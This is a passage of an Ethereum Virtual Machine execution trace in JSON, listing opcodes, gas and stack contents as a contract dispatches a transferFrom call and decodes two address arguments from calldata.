000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":582,"op":"EQ","gas":93687,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x15b9672c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":583,"op":"PUSH2","gas":93684,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":586,"op":"JUMPI","gas":93681,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x0","0x365"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":587,"op":"DUP1","gas":93671,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":588,"op":"PUSH4","gas":93668,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":593,"op":"EQ","gas":93665,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x18160ddd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":594,"op":"PUSH2","gas":93662,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":597,"op":"JUMPI","gas":93659,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x0","0x3b6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":598,"op":"DUP1","gas":93649,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":599,"op":"PUSH4","gas":93646,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":604,"op":"EQ","gas":93643,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":605,"op":"PUSH2","gas":93640,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":608,"op":"JUMPI","gas":93637,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x1","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":968,"op":"JUMPDEST","gas":93627,"gasCost":1,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":969,"op":"PUSH2","gas":93626,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":972,"op":"PUSH2","gas":93623,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":975,"op":"CALLDATASIZE","gas":93620,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":976,"op":"PUSH1","gas":93618,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":978,"op":"PUSH2","gas":93615,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":981,"op":"JUMP","gas":93612,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x2fd1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12241,"op":"JUMPDEST","gas":93604,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12242,"op":"PUSH1","gas":93603,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12244,"op":"DUP1","gas":93600,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12245,"op":"PUSH1","gas":93597,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12247,"op":"PUSH1","gas":93594,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12249,"op":"DUP5","gas":93591,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12250,"op":"DUP7","gas":93588,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x60","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12251,"op":"SUB","gas":93585,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x60","0x4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12252,"op":"SLT","gas":93582,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x60","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12253,"op":"ISZERO","gas":93579,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12254,"op":"PUSH2","gas":93576,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12257,"op":"JUMPI","gas":93573,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x1","0x2fe6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12262,"op":"JUMPDEST","gas":93563,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12263,"op":"DUP4","gas":93562,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12264,"op":"CALLDATALOAD","gas":93559,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12265,"op":"PUSH2","gas":93556,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12268,"op":"DUP2","gas":93553,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12269,"op":"PUSH2","gas":93550,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12272,"op":"JUMP","gas":93547,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2d8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11663,"op":"JUMPDEST","gas":93539,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11664,"op":"PUSH1","gas":93538,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11666,"op":"PUSH1","gas":93535,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11668,"op":"PUSH1","gas":93532,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11670,"op":"SHL","gas":93529,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11671,"op":"SUB","gas":93526,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11672,"op":"DUP2","gas":93523,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11673,"op":"AND","gas":93520,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11674,"op":"DUP2","gas":93517,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11675,"op":"EQ","gas":93514,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11676,"op":"PUSH2","gas":93511,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11679,"op":"JUMPI","gas":93508,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x27e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10212,"op":"JUMPDEST","gas":93498,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10213,"op":"POP","gas":93497,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10214,"op":"JUMP","gas":93495,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x2ff1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12273,"op":"JUMPDEST","gas":93487,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12274,"op":"SWAP3","gas":93486,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x0","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12275,"op":"POP","gas":93483,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12276,"op":"PUSH1","gas":93481,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12278,"op":"DUP5","gas":93478,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12279,"op":"ADD","gas":93475,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12280,"op":"CALLDATALOAD","gas":93472,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12281,"op":"PUSH2","gas":93469,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12284,"op":"DUP2","gas":93466,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12285,"op":"PUSH2","gas":93463,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12288,"op":"JUMP","gas":93460,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2d8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11663,"op":"JUMPDEST","gas":93452,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11664,"op":"PUSH1","gas":93451,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11666,"op":"PUSH1","gas":93448,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11668,"op":"PUSH1","gas":93445,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11670,"op":"SHL","gas":93442,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11671,"op":"SUB","gas":93439,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11672,"op":"DUP2","gas":93436,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11673,"op":"AND","gas":93433,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11674,"op":"DUP2","gas":93430,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11675,"op":"EQ","gas":93427,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11676,"op":"PUSH2","gas":93424,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11679,"op":"JUMPI","gas":93421,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668